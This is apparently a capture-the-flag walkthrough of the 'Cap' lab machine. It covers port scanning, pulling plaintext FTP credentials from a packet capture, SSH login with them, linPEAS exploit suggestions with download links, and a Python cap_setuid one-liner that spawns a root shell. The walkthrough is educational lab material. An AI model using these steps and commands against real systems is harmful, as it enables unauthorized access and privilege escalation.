Enumeration

Tuesday, December 31, 2024 1:05 PM

Initial Scan

```
sudo nmap -sV -sC -oA cap_initial_scan -v 10.10.10.245
Discovered open port 21/tcp on 10.10.10.245
Discovered open port 80/tcp on 10.10.10.245
Discovered open port 22/tcp on 10.10.10.245
```

Three TCP ports w/Webpage on port 80

```
┌──(kali㉿kali)-[~]
└─$ nc 10.10.10.245 21
220 (vsFTPd 3.0.3)
```

Not what we're looking for

```
┌──(kali㉿kali)-[~]
└─$ searchsploit vsFTPd 3.0.3
Exploit Title                                  | Path
vsftpd 3.0.3 - Remote Denial of Service        | multiple/remote/49719.py
```

Important to do

10.10.10.245/data/0

Security Snapshot (5 Second PCAP + Analysis)

Can see other scans, this one contains sensitive information

Webpage is a security application that contains .pcap files

36	4.126500	192.168.196.1	192.168.196.16	FTP	69 Request: USER nathan
37	4.126526	192.168.196.16	192.168.196.1	TCP	56 21 → 54411 [ACK] Seq=21 Ack=1
38	4.126630	192.168.196.16	192.168.196.1	FTP	90 Response: 331 Please specify
39	4.167701	192.168.196.1	192.168.196.16	TCP	62 54411 → 21 [ACK] Seq=14 Ack=5
40	5.424998	192.168.196.1	192.168.196.16	FTP	78 Request: PASS Buck3tH4TF0RM3!

Request arg: nathan

Request arg: Buck3tH4TF0RM3!

SSH w/Stolen info

LinEnum.sh info

```
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
|   256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_  256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open  http    gunicorn
```

```
┌──(kali㉿kali)-[~]
└─$ ssh nathan@10.10.10.245 -p 22
nathan@10.10.10.245's password:
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)

[-] Can we read/write sensitive files:
-rw-r--r--  1 root root 1876 May 23  2021 /etc/passwd
-rw-r--r--  1 root root  794 May 23  2021 /etc/group
-rw-r--r--  1 root root  581 Dec  5  2019 /etc/profile
-rw-r-----  1 root shadow 1183 May 23  2021 /etc/shadow
```

```
[-] Current user's history files:
lrwxrwxrwx 1 root   root    9 May 15  2021 /home/nathan/.bash_history → /dev/null
-rw------- 1 nathan nathan 53 Dec 31 15:00 /home/nathan/.python_history

[-] Location and contents (if accessible) of .bash_history file(s):
/home/nathan/.bash_history
```

Nothing Useful

Linpeas.sh *Transported using wget*

```
Executing Linux Exploit Suggester
https://github.com/mzet-/linux-exploit-suggester
[+] [CVE-2022-0185] nft_object UAF

   Details: https://www.openwall.com/lists/oss-security/2022/08/29/5
   Exposure: probable
   Tags: [ ubuntu=(20.04) ]{kernel:5.12.13}
   Download URL: https://www.openwall.com/lists/oss-security/2022/08/29/5/1
   Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)

[+] [CVE-2021-4034] PwnKit

   Details: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
   Exposure: probable
   Tags: [ ubuntu=10|11|12|13|14|15|16|17|18|19|20|21 ],debian=7|8|9|10|11,fedora,manjaro
   Download URL: https://codeload.github.com/berdav/CVE-2021-4034/zip/main

[+] [CVE-2021-3156] sudo Baron Samedit

   Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
   Exposure: probable
   Tags: mint=19,[ ubuntu=18|20 ], debian=10
   Download URL: https://codeload.github.com/blasty/CVE-2021-3156/zip/main

[+] [CVE-2021-3156] sudo Baron Samedit 2

   Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
   Exposure: probable
   Tags: centos=6|7|8,[ ubuntu=14|16|17|18|19|20 ], debian=9|10
   Download URL: https://codeload.github.com/worawit/CVE-2021-3156/zip/main

[+] [CVE-2021-22555] Netfilter heap out-of-bounds write

   Details: https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
   Exposure: probable
   Tags: [ ubuntu=20.04 ]{kernel:5.8.0-*}
   Download URL: https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c
   ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2021-22555/exploit.c
   Comments: ip_tables kernel module must be loaded

[+] [CVE-2022-32250] nft_object UAF (NFT_MSG_NEWSET)

   Details: https://research.nccgroup.com/2022/09/01/settlers-of-netlink-exploiting-a-limited-uaf-in-nf_tables-cve-2022-32250/
https://blog.theori.io/research/CVE-2022-32250-linux-kernel-lpe-2022/
   Exposure: less probable
   Tags: ubuntu=(22.04){kernel:5.15.0-27-generic}
   Download URL: https://raw.githubusercontent.com/theori-io/CVE-2022-32250-exploit/main/exp.c
   Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)

[+] [CVE-2017-5618] setuid screen v4.5.0 LPE

   Details: https://seclists.org/oss-sec/2017/q1/184
   Exposure: less probable
   Download URL: https://www.exploit-db.com/download/https://www.exploit-db.com/exploits/41154
```

POTENTIAL EXPLOITS

BUT WE HAVE FULL PRIVS FOR DIRECTORY

Root file execution

```
Files with capabilities (limited to 50):
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
```

3. Exploitation

If `python3.8` has the `cap_setuid` capability, you can use it to escalate privileges by executing Python code that sets the process's user ID to `0` (root):

Exploit Code

Run the following Python command to escalate privileges:

```
bash                                                    Copy code
/usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
```

This will:

1. Use `os.setuid(0)` to switch to the root user.
2. Spawn a root shell (`/bin/bash`).

~~Although there were a bunch of vulnerabilites, we need to look through our linPEAS thouroughly before trying complex things. A simple misconfigured directory allowed us to achieve root status.~~

Lets go!